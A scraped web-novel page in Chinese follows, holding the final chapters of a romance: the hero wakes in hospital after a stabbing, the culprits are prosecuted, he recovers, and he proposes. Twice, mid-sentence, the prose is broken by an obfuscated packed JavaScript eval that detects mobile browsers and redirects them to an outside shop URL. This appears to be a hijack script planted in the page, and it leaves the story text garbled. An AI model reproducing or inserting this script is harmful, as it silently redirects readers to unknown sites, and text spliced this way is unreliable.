他一个人,哦不,一个魂走在还在落雪的街头,漫无目的。 渐渐的,街边的景象又消失了,四周又是白茫茫的一片。 丁似霰突然感觉,很久没有听到云安洛说话了,大概他真的该离开了吧。 可他没有想象中那么坚定,他开始害怕了,他怕真的再也见不到云安洛,他怕真的没有下辈子。 鬼魂为什么还会害怕? 他不知道,但他突然想起了云安洛和他说的话。她说让他霸道一点,别那么有道德感,她说想让他一辈子都记得她。 丁似霰转过身,想找到回去的路,他想留在云安洛身边,他想再多看一看云安洛。 他站在原地看了许久,白茫茫的一片,哪还有路……天大地大,他该去哪里寻她…… 再次睁开眼,映入眼帘的竟然是天花板。 这是,另一个空间了吗? 这个空间似乎更真实一些,丁似霰甚至能感受到他浑身上下都在疼,根本分不清是肉疼还是骨头疼。 就算没干过什么光宗耀祖的事情,也不至于真下地狱遭罪吧? 好像有什么东西一直在叫,好吵。 丁似霰企图动一动,观察一下这是哪里,却发现他根本动不了。这已经不是能不能穿墙的问题了,有没有力气暂且不说,稍微想用一下力,浑身上下哪里都疼。 这个空间不好。 这感觉……是手吗?怎么湿湿的?丁似霰很努力地偏些头,想看一看发生了什么。 云安洛? 她趴在床边枕着丁似霰的手,睡觉。 丁似霰瞬间在怀疑,所以他现在是……尸体? 可云安洛怎么在哭啊? 丁似霰完全忘记考虑自己是什么形态的问题,颤抖地动着手指,想擦去云安洛眼角的泪。 他刚牵动一点手指,云安洛就醒了过来。 怎么鬼魂能摸到人了? “醒,醒啦!我,我这就叫医生!”云安洛并没有放开手,只是急切地摁下床头的呼叫铃。 “洛,洛……”丁似霰发出了一些沙哑的音节。 阿飘还能说话了! 屋子里亮了起来,有些刺眼,丁似霰下意识半眯着眼睛,视线却还是一直追着云安洛。 她凑近了些,一副要哭出来的样子:“也没说伤到脑子了啊……” 谁伤到脑子了? “没事,丁似霰,你醒了就好,”云安洛凑近了些,伸出手摸着丁似霰的脸颊,“醒了就好,真傻了大不了我养你。” 谁傻了? 丁似霰突然看到了云安洛肩膀上渗出的血丝,他努力了半天,只说出了三个字:“肩膀……血……” 他才意识到,这才是真实的世界,刚刚那些离谱的场景都是梦。 哦,那这个空间,很好。 一番检查过后,医生说道:“病人体征都还不错,家属注意观察就行,刚醒来意识不太清醒,可能过段时间就会好,根据之前的检查结果来看只是有些轻微脑震荡,不会造成智力受损。” 医生走后,病房里又只剩下了云安洛和丁似霰两个人。 丁似霰见云安洛又坐在了床边,丝毫没有去处理她伤口的打算,又艰难地开口说道:“你去换一下药。” 云安洛摇摇头,她一点都不想离开丁似霰床边。 “我脑子没坏……” 丁似霰看着云安洛满脸是泪又在笑的样子,很是心疼。他想抬起手,擦擦云安洛脸上的泪,却只能微微动一动手指。 云安洛连忙握着他的手,慢慢抬起来,搭在自己脸上。 “吓坏了吧?”他问道。 “除了你在重症躺的一天,都还好,”云安洛摇摇头,“医生说你求生欲可强了。” “所以我死不了,”丁似霰小幅度动着手指,擦了擦云安洛的眼角,“快去换换药,我等你回来。” “真没事,”云安洛看到丁似霰的眼神,突然感觉今天她不把药换了,这人就不可能再放心休息,“在这就能换。” 云安洛套着毛衣,里面还穿着加绒吊带,她直接在病房把毛衣脱掉,拆开了纱布。她甚至正对着丁似霰,为了证明这刀口确实没什么事。 自己擦药自己包扎,动作还是那么草率又利落,丁似霰再次真实地感受到,他确实没死。 那一直叫的东西,是心电监护仪。丁似霰发现后,吐槽道:“这东西好吵啊,你是怎么听着它叫还能睡着的?” “那我这就让它闭嘴!”云安洛套上毛衣,在机器上点了两下,滴滴声消失了,“其实听多了就习惯了,那东西就好像在告诉我你还活着,还活得不错。” 在丁似霰的强制要求下,云安洛去外面走廊扫了一张陪护床,紧靠着丁似霰的床放下。 关灯后,云安洛侧躺着,对丁似霰说道:“再睡会吧,说不定彻底睡醒,就一点不傻了。” 丁似霰很是无奈,“我脑子真的没坏。” 他明明只是没分清梦境和现实,注意力又都在云安洛身上,没听到医生问话,怎么就变成傻子了。 “好,小光脑子最好了。” 直到第二天再醒过来,丁似霰才知道他梦里一切的感知都不是什么“人鬼情未了”。他刚醒过来,身体并没有恢复太多,一觉又睡了十几个小时,但这次他并没有梦到什么东西,睡得很舒服。 按照云安洛的话来说,确实这次再醒过来,一点都不傻了。 丁似霰睁开眼,就看到云安洛牵着他的手,在床边啃苹果。 “早上好呀!”云安洛笑盈盈看着他。 “早上好。”丁似霰说完才看到墙上的挂钟,十二点五十五,“你中午就吃这个?” “医院附近的饭太难吃了,饿了再说吧。” 丁似霰不置可否,医院附近饭菜不好吃这事他知道,但不是还可以点外卖吗?总不至于用苹果当午餐。 “一般是过一会可期和小颜谁下班了过来换我,我回去洗洗头,吃口东西,然后再回来。” 云安洛说话的时候,都没有放开丁似霰的手,还在习惯性玩着丁似霰的指尖。 丁似霰忽然想起了梦里那些奇怪的感觉,“你一直,握着我吗?” “差不多吧,总怕你醒来的时候我没看到,结果还真的没看到,”云安洛放下苹果,凑得进了些,“一般电视剧里演的人醒过来不都是先动手指吗,你怎么先睁眼睛?” “可能,因为是吓醒的。” “梦到什么了?” “梦到我死了,变成阿飘跟在你身边好久,但后来找不到你了。” “那,我能看到阿飘吗?” “就因为你竟然在和阿飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912954|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,我还能感觉到在和你握着手,我才以为因为我在你身边飘太久,给你飘恍惚了。” 云安洛听到这里,笑了起来,真的是好荒谬的梦境,“我自己待着无聊,就跟你说说话呗,你都睡五天了,按道理讲睡个两三天就差不多,医生让我多和你说说话,说不定能把你聊醒。” “你好像说要找叶易过来,想把我气醒?” “嗯,一个还没实行的假设,”云安洛拄在丁似霰的床头:“你还梦到什么了?” 丁似霰此时,甚至能闻到苹果的清甜味:“我梦见你在擦我的墓碑,但我竟然感觉你在摸我的脸。” “嗯……那时候大概我在给你刮胡子,”云安洛笑得有些心虚,“第一次,手生……一不小心刮破了。” 云安洛举着镜子,给丁似霰看。确实下颌角处破了一个小口。 “还好,说不定再严重点我就梦到墓碑裂开,直接吓醒了。” 丁似霰撑着精神和云安洛聊了许久,但从未问过他自己到底什么情况。 他再次昏睡过去前,反复在和云安洛说,让她还是要按时吃饭的,一会该回去就回去歇歇,他又不能从病房里消失。 再次睁开眼,病床旁换了人,是李开颜。 小伙子刚看到丁似霰醒来,就涕泪横飞地扑了过来,却又不敢真的碰到丁似霰,只能像平板支撑一样撑在丁似霰床前。 很抽象的姿势,让人有点想笑。 丁似霰忽然后悔让云安洛走了,他甚至感觉应该再睡一会,睡到云安洛回来。 “要不,你,先起来呢?”丁似霰拍了拍李开颜的手臂,“我不会是落下什么残疾了吧?” 李开颜坐起身,抹了把泪,“老大,洛姐没和你说?” 丁似霰摇摇头,“她没说,我也没敢问。” “我给你从上到下数数啊,”李开颜开始搬起自己的手指,“轻微脑震荡,然后被祁炎扎了三刀,一刀扎进胃里然后造成胃出血,最后切了四分之一胃,还有一刀扎左大腿上了,那块肌肉叫什么我忘了,反正严重拉伤,另一刀就更损了,和你被钢筋戳开的地方刻了个十字花刀,还有右膝半月板撕裂,不算太严重,右边小腿胫骨骨裂……嘶,过段日子得做复健。” 李开颜又回忆了一番,确认自己没有记错,“嗯,严重的就这些,然后失血过多好多指标都下降太严重才进的icu,剩下都是些软组织挫伤一类的,那可就数不清了。” 他见丁似霰好像在发呆,并没有说话,突然有些怕丁似霰胡思乱想:“老大你可别想不开啊,都是可修复的,你养一段时间就没事了!” “我有什么可想不开的,就算真废了,你洛姐也养得起我。”丁似霰嫌弃地看了眼李开颜,这小子想象力怎么这么丰富。 云安洛在病房门口听到这话倒是很开心,她的小光终于不会受点伤就想着逃跑了,最近觉悟有所提高。 “之前我们俩说这些事结束,二期建完我们就回新柳,然后结婚,我只是在想,好像距离我自己走去民政局,还得有挺长一段时间。” “不长,你着急的话我推着轮椅带你领证去。”云安洛走进病房,随手把包丢在沙发上,然后走近丁似霰,在他脸颊上亲了一口,“有没有想我呀?” 丁似霰撒娇般点点头,“嗯,好想。” “姐,我举报,老大刚醒十分钟,他可没说想你!”李开颜在一旁戳穿丁似霰。 丁似霰只微微偏过头,和李开颜说道:“你有点过于刺眼了。” “懂,我走,洛姐你自己照顾好姐夫,再见!” 云安洛笑着和李开颜摆摆手,待他走了后,转过头和丁似霰道:“他叛变的好快啊。” 丁似霰并没有再停留在李开颜的话题,而是对这云安洛伸出手。 “嗯? “抱一下。” “会压到你身上的伤的。” “那你把我摇起来嘛。” 虽然随着病床摇起,丁似霰难免感觉身上一阵酸疼,但终于,他还是心满意足地抱到了云安洛。把头靠在云安洛颈间,呼吸间满是她的气息,丁似霰才真真实实地感受到,这不是梦。 他颤抖着轻声说道:“对不起……” 云安洛低下头,用脸颊蹭了蹭丁似霰:“怎么还道上歉了?” “我……太没用了……” 云安洛忽然明白了丁似霰在想什么。 小伙子的大男子英雄主义,他在怪自己没有能力护她周全。 “丁似霰,这事是我的问题,”云安洛微微抬起身,捧着丁似霰的脸轻轻摩挲:“我们都只是普通人,哪有什么只手遮天对抗一切的能力。 孟杰礼让我躲开,让我等下去,是我一意孤行。 我也永远做不到,真的让你去给我冲锋陷阵,我自己躲在后面。 况且如果没有你,我可能早就死在谭棠大学了,这么多年来,你也一直都陪在我身边,我的小光已经很好很好了。” 云安洛在丁似霰的唇瓣落下一吻,又抱住丁似霰,把头埋在他颈间:“我也有梦到些不好的事情,我梦到你不在了,我也疯掉了。 还好,我们都还好好的。” “洛洛,我好想你……” “那以后我们就,一直一直在一起,再也不分开。” 90. 最优解(正文完) 自从丁似霰醒过来,他一直在和云安洛说,让她晚上回去休息。 几次劝说无果后,云安洛还是每天都留在病房陪着丁似霰,只是会去一旁的床上睡觉。 醒来第三天,应丁似霰要求,撤去了止疼泵,又喝了些山药米糊。 他本是想着快些恢复,也好能早点出院,没想到那几口米糊刚下肚没多久,就被吐了个干净,反倒引得身上每处伤口都在叫嚣着作痛。 云安洛把丁似霰揽在怀里,一手放在上腹暖着胃,另一只手轻轻拍着他的肩。他的胃又有些痉挛,只是碍于刀口也没办法揉,只能打了针再暖着。 云安洛看着丁似霰一脸失落的样子,感觉又心疼又可爱。 “还好,至少没吐血丝出来,刀口长得还不错。” 丁似霰缓过来一些,才说道:“这样下去还得多久能出院啊……” “别着急嘛,万一明天就能吃点东西了呢?” 丁似霰闭着眼,有些委屈地在云安洛肩上蹭了蹭。刚刚折腾一通,他更加没了精神,很快便又睡了过去。 不知道过了多久,丁似霰醒过来,半眯着眼睛看了看,发现云安洛还维持着刚刚的姿势。他又闭上眼睛,伸手勾了勾云安洛的手指。 “醒啦?还难受吗?怎么不睁眼睛就开始勾我手玩。” 丁似霰摇摇头,依旧赖在云安洛怀里,“可我还是好困,止疼泵撤这么久了,怎么还迷迷糊糊的。” “那怎么办呢?再睡一会?” “不要,”丁似霰微微仰起头,“亲我一下吧,亲一下就醒了。” “睡美人吗?”云安洛说着,轻轻在丁似霰唇上吻了一下。 “嗯……还想要一下。” 云安洛又亲了他一口。 丁似霰并没有睁开眼,还是维持着原状,只是有些绷不住地笑着:“嘿嘿,可以,哈哈哈,再亲一下嘛?” 没等云安洛做出行动,杨可期的声音从一旁传出:“丁似霰你你你你,你不要太过分了!我家洛洛肩膀还没完全好呢!” “别吓他,我早没什么事了。”云安洛连忙辟谣。 丁似霰瞬间睁开眼,看向一旁。 杨可期怎么在这! 还有李开颜许志和孟杰礼??? 笑容僵在脸上,丁似霰瞬间清醒了。什么真爱之吻能吻醒睡美人,都不如直接来几个看热闹的吓吓人,简直醍醐灌顶。 丁似霰挣扎着把脸埋进云安洛怀里,动作过于迅速,牵动了身上几处刀口,直接疼得他连连倒吸凉气。 “你慢点!”云安洛连忙挪了位置,挡在丁似霰和众人中间,把他搂在怀里顺着毛,“多大点事,咱脸皮什么时候这么薄了?” “他们什么时候来的啊?”丁似霰说话的声音好像带了波浪线,挠得云安洛感觉心痒痒。 “哇,那可就有一段时间了,至少我看到了你和我们家小叛徒耍赖全程。”杨可期说道。 “我也看到了,姐夫!”从老大到姐夫,李开颜倒是转变得十分顺滑。 “哎呀这是谁家的狗腿子,能不能打出去?”丁似霰如今一点都不想睁开眼,十分希望刚才的一切都是幻觉。 许志虽说早就对丁似霰有所了解,但确实也没见过他这幅模样,不过损友基操就是两肋插刀,他在一旁添油加醋:“谁是狗腿子?是不是姓丁,多少年前就非得找各种机会跟洛姐说话,还跟人小孩一起喊‘洛洛姐姐~’,谁啊这是?” 许志,丁似霰心中的暗杀名单加一。 孟杰礼来,主要是说一下案情审理情况,祁正川和祁炎还有南菀市长,以及一些涉事人员都已经被关起来了,开庭时间还没定,但是证据确凿,一定是要判的。 云安洛那一脚踢得属实很重,祁炎碎了一个dan,但这只能算是正当防御。 云锦书、丁国辉和余美兰那两起案件会重新审理,根据目前已掌握的证据,足够还他们清白。 至于那个别墅也被连窝端了,还救出来了三个女孩,但这些年被他们卖掉的还得慢慢找,无论是山里还是其他地方,确实没那么容易找到。 终于,结束了。 虽然已经造成的伤害无法挽回,过世的人也不可能再活过来,但至少天理昭彰,终有公道。 真的如云安洛所说,第二天丁似霰就喝下了些米汤,还被她扶上轮椅,推着去窗边晒了晒太阳。 又过了几天,丁似霰出院了。 终于不用再每天早上七点被护士叫起来查房,他和云安洛在一米八的大床上牵着手舒舒服服睡了个懒觉。 但,丁似霰还得吃药,他那个脆弱的肠胃确实得好好养一养。 还是中药。 唉,他终究还是要把杨可期做的“小饮料”喝下去。 云安洛每次看着那黑乎乎的汤汁都有些面目狰狞。 真的很恐怖啊,闻着味道她都想吐,丁似霰竟然能直接吹一袋。 一次,云安洛没忍住,在丁似霰刚喝完药后,选择了亲他一口,间接尝一尝这中药汤子的味道—— 真难闻! 但丁似霰嘴唇还是软软的,很好亲。并且,云安洛决定每天给丁似霰加上一个泛着中药味道的吻。 小光又被亲得喜滋滋傻笑。 太可爱了! 春节前南菀这边的工程彻底竣工,丁似霰也辞了职,房子卖掉,是时候回新柳了。 丁似霰把他那辆小车直接过给李开颜,于是腊月二十七,李开颜开着它送云安洛丁似霰和杨可期去机场。 “老大,我舍不得你——”李开颜又蹲在地上抱着丁似霰嚎叫。 丁似霰只好无奈的拍着李开颜,“无聊了就去找你许哥玩。” “他可没时间理我,最近满脑子的追小姑娘。” 丁似霰推开李开颜,蹭了蹭轮椅拉住云安洛,“那算了,我也要追小姑娘的。” 许志和刘筱悠已经重归于好了,他在南菀还要多待两天,年三十早上再回新柳和爷爷奶奶过年。 云安洛前些年在新柳新开发的高层小区买了一个电梯房,只是装修好了也很少去住,为了方便丁似霰上下楼,两个人直接搬去了那里。 这个是云安洛和丁似霰两个人在一起过得第一个春节。 只有两个人。 平静,又幸福。 新年的钟声敲响,云安洛仰起头,在丁似霰唇上轻吻: “丁先生,三十岁了哦!” 或许,该成家了。 年后,云安洛继续设计所和录音棚两边跑,丁似霰与他以前合作的摄影馆联系,在家修着图片,杨可期过年后又回了南菀,她的博士生活还有不到半年时间。 有一天云安洛突然不知道哪根筋搭错了,拽着丁似霰在客厅,用投影仪看恐怖电影,结果电影刚播到恐怖的地方,丁似霰感觉有些害怕,习惯性向身上躺着的云安洛看了一眼,结果发现这人正抱着他的胳膊呼呼大睡。 等她醒来,电影已经快结束了。幕布上,是男主正在向女主求婚。 “嗯?不是恐怖电影吗?这是啥?”云安洛差点以为她睡到了下一部电影。 “happyending,丧尸围城的时候你睡得超香。” “嘿嘿……”云安洛看到影片里男主又在单膝下跪,说着已经听烂了的词汇,有些不解,“我就一直不明白求婚为啥得单膝下跪,而且那些誓词也太抽象了点,发个誓就成真心的了?感觉多少有点社死。” “不是都这样吗?”丁似霰看着自己的膝盖,有些开始怀疑他还有多久才能完成这个动作。 “你看那种古装剧里,鞠个躬作个揖,说点好听的话,然后再送个小定情信物或者小礼物,挺好的。” 丁似霰试探性,问了一句:“那,你想要什么礼物?” 云安洛看着他,强忍着笑意没有戳穿他的小心思。她没太想过这个问题,或者说,曾经的她甚至未曾想过结婚这件事情会发生在她身上。结婚证不过就是一张纸,有法律效益却有很多事情根本无法保障——就像乔连富,那纸结婚证于他而言,甚至没有任何规束的作用。 后来她也只是对丁似霰这人有了幻想,喜欢同他待在一起。 现在呢,现在云安洛确定,她想一辈子都和丁似霰在一起,但她这个人没什么仪式感,也没有偏爱的花,更对金银首饰没兴趣,她戴过的一个镯子一个项链一串珠子还有一枚戒指,这些全都和丁似霰有关系,这人像是装扮芭比娃娃一样,倒是总想给她弄些首饰。 可能在云安洛眼里,一枚钻戒还不如一顿丰盛的大餐来得实在——毕竟钻戒又贵又不保值,还容易勾头发,主要是还有点硌手,她并不喜欢。 而且,丁似霰这个人,早就把自己全交给了云安洛,他的银行卡,家门钥匙,各种密码,还有他那宝贝的密码本,反正在云安洛心里,他们和已经结了婚的人,也没什么区别。 云安洛想了一会,才说到道:“绣球花,就你喜欢的那种就挺好看的,然后,什么时候兴致来了咱们可以再去打一对戒指,我总觉得那东西自己打着更好玩。” 之前那对菩提戒指被血染透了,虽然重新打磨后还是可以看的,但云安洛总感觉还可以再弄一对,就算她不太习惯带,放在盒子里看着也是漂亮的。 丁似霰恢复一些后,就很积极地开始复健,扔掉那两根拐杖的心格外明显。起初云安洛还会陪他一起,结果发现他似乎不太愿意让云安洛看到他摔倒的样子,于是只好连着三天只做到车接车送,放任丁似霰自己在复健的地方锻炼。 那天云安洛画图太认真忘了时间,去得晚了一些,趁着丁似霰在沙发上休息还没醒,医生告诉云安洛,丁似霰恢复得已经很快了,但复健这种事也不能太着急,不用每天都来,更不用每天强度都这么高,过犹不及。 回到家后,丁似霰一直情绪不高。 云安洛扶他坐到沙发上,然后搂着他揉揉头发,“明天不去了好不好?” 丁似霰摇摇头。 “可我明天没工作诶,你不想当我的抱枕吗?我还想吃火锅了,咱俩明天买点东西在家涮好不好?” 云安洛见丁似霰不说话,只好继续问道:“怎么不开心啊?” 他沉默了几秒,幽幽说道:“我还是不能自己走路。” “人家医生都说了你恢复得很好,慢慢来嘛,这才不到三个月,骨头都刚长好。” 丁似霰只得点点头。现在已经三月份了,原本想着离可以正常走路不远了,没想到这么难。 第二天醒来,云安洛就叫人来安装些器械,在屋子里也加了不少扶手。 丁似霰不解地看着她。 云安洛用保护套包好了屋子里最后一个尖角,又用湿巾擦了擦手,然后对丁似霰张开了双臂:“咱不去医院了,啥时候想练就在家溜达一圈,来吧宝贝!” 丁似霰从轮椅上撑起身,扶着新安装的栏杆,一步一步走到云安洛身边。 “小光真棒!”云安洛一把抱住丁似霰,狠狠亲了一口,还特意啵出了声,“奖励机制,你练得开心我就亲你一下!” “那真的会更开心了。”丁似霰笑着点点头。 后来几天,云安洛发现,丁似霰用着力锻炼时也会尽量不用脸发力,不免有些疑惑:“你是怎么做到使劲的时候还能控制好表情的?” 丁似霰靠在沙发上,微微把气喘匀才回答云安洛:“不能用脸使劲……会容易变方脸还容易脖子变粗。” “我们家小光也太注意形象了,”云安洛坐在他身旁,揉着他还有些在发抖的肌肉。 复健锻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919201|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼确实很累,丁似霰平日里不算什么汗液分泌太旺盛的人,如今也整个人都汗淋淋的。 云安洛拿起纸巾擦了擦丁似霰的额角,还有……脖子,而后盯着他的喉结短暂的看了看,咽下一口口水:“唉,你真的好像在随时诱惑我。” 丁似霰:“?” 好像有哪里不对,但似乎又对极了。 时间来到劳动节前,丁似霰已经完全可以正常走路了,并且给云安洛当起了专职司机。 那天云安洛说了个地址,让丁似霰过去,却没有说是哪里,去做什么。 丁似霰小心翼翼敲开门,看到的是一个只刷了大白铺过瓷砖的二层小洋楼。 “你好~欢迎~光~临!”云安洛站在门口,发出了标准的欢迎语音包的声音。 “这,这是?” “一栋,一无所有的,小洋楼。” 云安洛关上门,牵着丁似霰在屋子里转了一圈。这房子少说也有三百多平米,六个隔间,三个卫生间,看起来确实空旷。 “怎么样,喜欢吗?”云安洛拉着丁似霰坐在了大厅仅有的两张懒人沙发上,问道:“有没有兴趣在这里做些什么?” “我?”丁似霰还没反应过来云安洛想问什么,“我能在这做什么,装修监工?” “比如,当我的租户,”云安洛又从墙角拖来一个箱子,打开,拿出里面的单反相机递给丁似霰,“再比如,开一个自己的摄影工作室,我还可以帮你造景。” 丁似霰并没有很喜欢建筑公司的工作,而且大概八字不合,从他进工地开始,就总是会受伤,大到缝针小到撞到哪里一片青紫,反正都不是什么好事。 这些年来不知是为了生存还是些什么事情,才一直在洋筑工作,如今回了新柳一直在养身体,也没着急找工作,只是偶尔修修图,赚点小钱。 但云安洛知道,他还是一直很喜欢摄影的。人呀,这辈子如果有得选,还是应该做点自己喜欢的事。 他们准备把这栋小洋楼一楼变成了丁似霰的摄影工作室,二楼改造成小型自拍馆。 房子里目前只做了基础硬装,云安洛和丁似霰决定自己动手,做一个全奉州都找不出第二家的好地方。 最近这几年自拍馆越来越多,不过好在新柳暂时还没有,在小地方生活就是很容易去做这个领头羊。 云安洛很快就画出了设计图:一楼相对比较简单,两个小隔间一间做成试衣间,另一个就当成杂物间,放一些道具。 二楼才是真正的特别之处。 四个房间有一个做试衣间以外,剩下三个三套造景。 梦幻公主卧室,有一个大秋千和略有些复古的欧式桌椅和钢琴,略微改造一下再加个灯光也可以变成天鹅梦小舞台。 暗黑系甜酷音乐唱片房,吉他尤克里里架子鼓,都买的真的,云安洛还趁机去学了几节架子鼓,仿佛发现了摇滚的乐趣。 最后一间完全中式造景,木质床榻桌椅,竹子框架纸灯,还有好多幅字画,都是云女士亲手制作。 然后大客厅两角一边是玫瑰庄园,另一边类似于节日庆典,可以随时变换,生日、新年、圣诞节等等,都很合适。 并且,云安洛发现了丁似霰新的天赋——他会设计衣服! 俩人直接买了台缝纫机放在洋楼里,嘎嘎一顿踩,按照丁似霰的设计图做了十多条重工裙子还有三套汉服,三套不同形制的。 自从开业后,自拍馆需要提前至少一周预约才能排上队,至于丁大摄影师,云安洛给他定了额度,暂时,每天工作时间不能超过六个小时。 又不需要赚多少钱,他还是先把身板养好了更重要。 五月三十一日,云安洛从录音棚出来,就看到满地的花瓣,和穿着她最喜欢的装扮,捧着一大束鲜花向她走来的丁似霰。 那花束里,有娇艳的红玫瑰,也有蓝紫色的无尽夏。 云安洛突然发现,她可能喜欢的也不是白上衣和牛仔裤,是丁似霰穿什么她都喜欢,哪怕是校服,也很好看。只是很巧,高一那天报道的时候,丁似霰就是穿着一件简单的白T和牛仔裤。 云安洛飞奔过去,笑盈盈看着丁似霰。 丁似霰将手中的鲜花送给云安洛:“我在想,或许世间有造物主的话,那我们的悲欢离合其实都在她一念之间,那些梦境又或是她预设的结局。” 他死,她疯。 他撒手人寰,她走遍山河看天下景色,却终究难得一瞬安愉。 梦境的感受都很真实,但似乎现实如今的幸福更为真切。 云安洛接过花,点点头:“那看来,是造物主于心难忍,给了我们一个最优的结果。” 丁似霰如云安洛所说的那样,双手扣在胸前奉上婚书,微微低下头:“倾盖如故,经岁愈深。初逢惊鸿一瞥,久伴情钟。欲缔三生石上约,谱秦晋百年盟。今愿以白头之约,同谱鸾笺,共结朱陈之好。” 但他还是,单膝跪地,很虔诚地拿出一个红色的丝绒长盒,盒子里是一根金簪,很是华丽。 该有的流程不能少,他的洛洛,不该缺任何东西。 “洛洛,你愿意,和我结婚吗?” 云安洛笑着接过婚书,扶起丁似霰,让他为自己戴上了簪子:“心许久矣,求之不得。” 六月一日,在那个很多很多年前,他们在游乐场第一次遇见的日子里,云安洛和丁似霰领到了属于他们的合法证明。 少年人终于在属于他们的月光中紧紧相拥,再不分离。 ——正文完—— 以此文,献给所有遭遇过不公的正在泥潭挣扎或是曾经挣扎过的,平凡的我们 朋友们,坚定的大步向前走,别回头 哪怕来时路坎坷,祝你,都可以努力活成自己想要的样子